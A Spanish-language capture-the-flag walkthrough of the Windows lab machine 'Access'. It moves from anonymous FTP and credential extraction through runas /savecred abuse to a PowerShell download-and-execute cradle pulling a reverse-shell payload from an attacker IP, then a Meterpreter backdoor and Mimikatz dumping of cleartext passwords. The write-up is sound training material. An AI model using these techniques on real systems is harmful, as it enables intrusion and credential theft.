unityAccess

Dificultad: Easy - OS: Windows

chevron-right¯\_( ͡° ͜ʖ ͡°)_/¯ Machine infohashtag

La máquina Access, plantea un escenario orientado a sistemas Windows en donde se combinan vectores clásicos de enumeración de servicios, análisis de archivos potencialmente sensibles y abuso de mecanismos de escalada de privilegios mal configurados. El reto propone un entorno realista en el que el atacante deberá identificar puntos de entrada a través de protocolos expuestos como FTP y Telnet.

Durante la fase inicial, se accede a una serie de recursos expuestos en un servidor FTP anónimo, entre los cuales se encuentran respaldos de software de control de acceso físico, correos archivados y bases de datos de tipo Microsoft Access. Estos archivos contienen información crucial para el reconocimiento de credenciales, así como detalles de configuración que permiten avanzar hacia una sesión remota por Telnet con un usuario de bajo privilegio. El análisis de los datos extraídos permite además descubrir contraseñas reutilizadas y credenciales almacenadas mediante DPAPI.

La escalada de privilegios se apoya en la identificación de accesos directos mal configurados y el uso indebido de la utilidad runas con credenciales previamente guardadas. Esto posibilita ejecutar comandos como administrador sin necesidad de conocer su contraseña, habilitando finalmente la ejecución de un payload de tipo Meterpreter para consolidar el acceso con privilegios elevados. A través de herramientas como Mimikatz, se revela además que es posible extraer la contraseña original del administrador, incluso cuando no es estrictamente necesaria para la obtención del flag final, cerrando así un ciclo completo de explotación basado en técnicas de post-explotación y extracción de secretos.

Enumeración de puertos/servicios

┌──(root㉿kali)-[/home/kali/Documents/HTB]
└─# nmap -sCV --open -T4 -v -n 10.10.10.134
chevron-right📌 Parámetros hashtag
  • sCV:

    • -sCEjecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sVDetección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -nNo resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --openMuestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -vModo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultado:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 425 Cannot open data connection.
| ftp-syst: 
|_  SYST: Windows_NT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeración del servicio FTP

Tenemos habilitado la sesión anonymous en FTP, así que vamos a iniciar el ataque por allí:

Encontramos el archivo Access Control.zip en la carpeta Engineer y el backup.mdb (una base de datos de Microsoft Access) en la carpeta Backups. Ahora vamos a descargar estos recursos, pero antes voy a activar el modo binary en FTP, por los siguientes motivos

chevron-right📌¿Cómo funciona la transferencia de archivos en FTP?hashtag

Cuando estamos conectado a un servidor FTP, existen dos modos de transferencia de archivos:

  • ASCII mode (modo texto): Transfiere archivos como texto plano, adaptándolos al sistema operativo (por ejemplo, cambiando saltos de línea). Es ideal para archivos de texto.

  • Binary mode (modo binario): Transfiere los datos tal cual, sin hacer ningún cambio en los bytes. Es obligatorio para archivos binarios como bases de datos .mdb, archivos comprimidos .zip, imágenes, ejecutables, etc.

¿Qué pasa si no cambiamos al modo binario? Cuando descargamos archivos como backup.mdb o Access Control.zip usando el modo ASCII por defecto, el cliente FTP modifica los datos durante la transferencia (por ejemplo, cambia saltos de línea). Eso corrompe el archivo, y por eso después no podemos abrirlos correctamente en nuestro equipo local.

Entonces usando el comando binary le decimos al cliente FTP que a partir de ahora transfiera los archivos en modo binario.

chevron-right📌¿Qué es una base de datos de Microsoft Access?hashtag

Microsoft Access es un sistema de gestión de bases de datos (DBMS) desarrollado por Microsoft, orientado a usuarios no técnicos y a pequeñas aplicaciones. Forma parte de la suite Microsoft Office.

Características clave:

  • Usa un formato de archivo llamado .mdb (Microsoft Database) en versiones antiguas, y .accdb en las nuevas.

  • Contiene tablas, consultas, formularios, informes, macros y módulos.

  • Permite crear bases de datos relacionales visualmente sin necesidad de escribir SQL complejos.

  • Los archivos .mdb son bases de datos locales, es decir, el archivo en sí contiene todas las tablas y datos.

Al intentar abrir el Access Control.zip nos va a pedir una contraseña, lo más probable es que esta contraseña se encuentre en algún lugar de la base de datos backup.mdb. Entonces vamos a inspeccionar este elemento con mdb-tools.

chevron-right📌 mdb-toolshashtag

La herramienta mdb-tools es un conjunto de utilidades de línea de comandos para interactuar con bases de datos Microsoft Access (.mdb) desde sistemas Unix/Linux (como Kali). Nos permite leer y exportar datos de archivos .mdb sin necesidad de tener Microsoft Office. Enumerar y examinar el contenido de un .mdb. Ver tablas, columnas, datos, incluso cuando no tenés la GUI de Access. Buscar credenciales u otra información sensible. Muchas veces estos archivos .mdb se usan para guardar configuraciones, usuarios, contraseñas o registros de aplicaciones internas (como en el CTF Access con ZKAccess).

Herramientas principales de mdb-tools

mdb-tables archivo.mdb Lista las tablas dentro de la base de datos

mdb-schema archivo.mdb Muestra el esquema (estructura) de la base de datos

mdb-export archivo.mdb tabla Exporta una tabla completa en formato CSV

mdb-sql archivo.mdb Permite ejecutar consultas SQL directamente sobre el .mdb

Vamos a listar las tablas:

Vemos que son muchísimas tablas y están desordenadas, entonces primero le vamos a aplicar un filtro desde bash para listarlas y ordenarlas alfabéticamente, luego grepeamos con user para solamente quedarnos con aquellas que podrían tener credenciales de usuarios

La tabla que nos interesa exportar es auth_user

De esta forma pudimos encontrar las credenciales para acceder al "Access Control.zip"

Nota: el parámetro -p debe ir junto con las credenciales (sin espaciado) y el parámetro x (extract with full paths) es para indicarle que conserve las carpetas internas.

El contenido del archivo comprimido es el 'Access Control.pst'. Pero ¿qué es un archivo .pst? un archivo PST (Personal Storage Table) es utilizado por Microsoft Outlook para almacenar correos electrónicos, contactos, calendarios, tareas, etc. Es básicamente la base de datos personal del usuario de Outlook. Esto lo podemos constatar usando el comando file que se encarga de inspeccionar el archivo y mostrarnos el tipo de contenido según su cabecera. Luego, para extraer el contenido del archivo .pst voy a usar readpst que se encarga de convertir todos los correos y elementos en archivos .mbox, .eml o texto plano.

En este caso vamos a obtener un archivo Acces Control.mbox y al leerlo nos vamos a encontrar con un correo donde están filtradas las contraseñas

Acceso inicial a la máquina

Estas credenciales nos van a servir para conectarnos al puerto 23 (Telnet) con la sesión del usuario security

Análisis del acceso directo mal configurado

Después de recorrer todos los directorios y revisar los ficheros, nos vamos a encontrar con el siguiente archivo .lnk C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk Si lo inspeccionamos con type vamos a ver residuos binarios, ya que los archivos con esta extensión están en formato estructurado, no en texto plano. Sin embargo hay algunas partes legibles que nos dan las siguientes pistas:

Se usa runas.exe con /user:ACCESS\Administrator /savecred: runas.exe /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe". Esto nos indica que el acceso directo se ejecuta como Administrator con credenciales guardadas en /savecred. También nos indica la ruta del ejecutable del software: C:\ZKTeco\ZKAccess3.5\Access.exe. Entonces, con esta información sabemos que el administrador guardó credenciales usando /savecred, y las usa para ejecutar el software ZKAccess como ACCESS\Administrator. Esto permite que ejecutemos cualquier comando como administrador de la siguiente forma: runas /user:ACCESS\Administrator /savecred "comando"

Preparación de la reverse shell

Siguiente paso: obtener nuestra reverse shell. El payload que vamos a cargar en la sesion del usuario security es el siguiente:

En "ip_atacante" ponemos nuestra ip, y en port_listener, el puerto donde recibiremos la reverse shell. Para que la reverse shell funcione tenemos que seguir estos pasos:

  • Dejar levantado el listener en el puerto que configuramos con nc -lvnp port

  • En otra shell levantar un servidor con python desde el directorio donde guardamos el payload con python3 -m http.server 80

  • En la sesión del usuario security ejecutar este oneliner:

chevron-right📌 Desglose del comandohashtag

runas /user:ACCESS\Administrator /savecred

  • runas → comando de Windows para ejecutar un programa como otro usuario.

  • /user:ACCESS\Administrator → indica que el programa se ejecutará como el usuario Administrator del dominio o equipo ACCESS.

  • /savecred → usa credenciales guardadas previamente.

  • powershell → llama al intérprete de PowerShell.

  • -c o -Command → le dice a PowerShell que lo que sigue es un comando para ejecutar directamente.

  • IEX = Invoke-Expression → ejecuta cualquier texto como código PowerShell.

  • (New-Object Net.WebClient).DownloadString('http://10.10.14.7/payload.ps1')

    • New-Object Net.WebClient → crea un cliente web que puede hacer peticiones HTTP.

    • .DownloadString(...) → descarga el contenido del archivo en texto plano desde el servidor web que levantaste en tu Kali con python3 -m http.server

    • Devuelve una cadena de texto (el contenido de payload.ps1), que luego IEX ejecuta como código PowerShell.

Resultado:

Upgrade a sesión Meterpreter

Como vimos antes, podemos ejecutar runas como Administrador, eso significa que sus credenciales están almacenadas en algún lugar de la máquina, así que vamos a recuperarlas para simplemente extraer la contraseña y luego iniciar sesión como él. Para obtener estas credenciales vamos a seguir estos pasos:

  • Setear un payload con msfvenom que luego cargaremos en la sesión del usuario security con python http.server

  • Configurar el listener en msfconsole para recibir la conexión del usuario administrator

  • Ejecutar el payload usando runas para capturar la sesión del administrador

  • Una vez que tenemos la reverse shell en meterpreter preparamos el módulo kiwi (mimikatz) para dumpear todas las credenciales de los usuarios del sistema.

Payload setings:

Levantamos un servidor con python para compartir el payload backdoor.exe al equipo windows

En la sesión del usuario security descargamos el payload backdoor.exe usando certutil

Seteamos el listener en msfconsole

Ejecutamos el payload con runas

Post-explotación con Mimikatz (Kiwi)

Aplicamos el módulo kiwi para dumpear las credenciales del sistema:

chevron-right🥝 Explicación de los comandos de Kiwihashtag

load kiwi → este comando carga la extensión kiwi, que integra las capacidades de Mimikatz dentro de Meterpreter.

  • Mimikatz es una herramienta para interactuar con el proceso lsass.exe y extraer credenciales, tickets Kerberos y más.

  • Al cargar kiwi, tenés acceso a comandos como creds_all, kerberos_ticket_list, etc., directamente desde Meterpreter.

creds_all → este comando extrae todas las credenciales disponibles en memoria del proceso lsass. Incluye:

  • Hashes NTLM (para Pass-the-Hash)

  • Contraseñas en texto claro (si están en memoria)

  • Tickets Kerberos

  • Y más, según los proveedores de autenticación cargados

⚠️ Nota: al principio cuando intento ejecutar el comando creds_all me sale el siguiente mensaje de error [!] Not running as SYSTEM, execution may fail. Esto ocurre porque para acceder completamente a lsass, necesitamos privilegios de NT AUTHORITY\SYSTEM.

getsystem → este comando intenta escalar privilegios desde Administrator a SYSTEM usando varias técnicas (como Named Pipe Impersonation, token duplication, etc.). En nuestro caso funcionó: ...got system via technique 1 (Named Pipe Impersonation)

getuid → confirmamos que ahora estamos como NT AUTHORITY\SYSTEM, lo cual nos da acceso pleno al sistema.

creds_all (con SYSTEM activo) → ejecutamos creds_all con privilegios elevados, lo que permite que kiwi extraiga toda la información sensible de memoria. Y a continuación nos lista las credenciales:

  • wdigest credentials → contiene contraseñas en texto claro, si el sistema las almacena con WDigest habilitado (por defecto en Windows ≤ 2012/Win7). Este es el gran hallazgo del CTF, y la respuesta a la pregunta: "What is the administrator's password?"

  • tspkg credentials → otro proveedor que puede almacenar contraseñas en texto claro o cifradas (menos usado, pero aún relevante). En este caso, duplica lo de wdigest.

  • kerberos credentials → aquí vemos contraseñas o tickets Kerberos asociados a usuarios activos. Nuevamente, aparecen en texto claro.

Last updated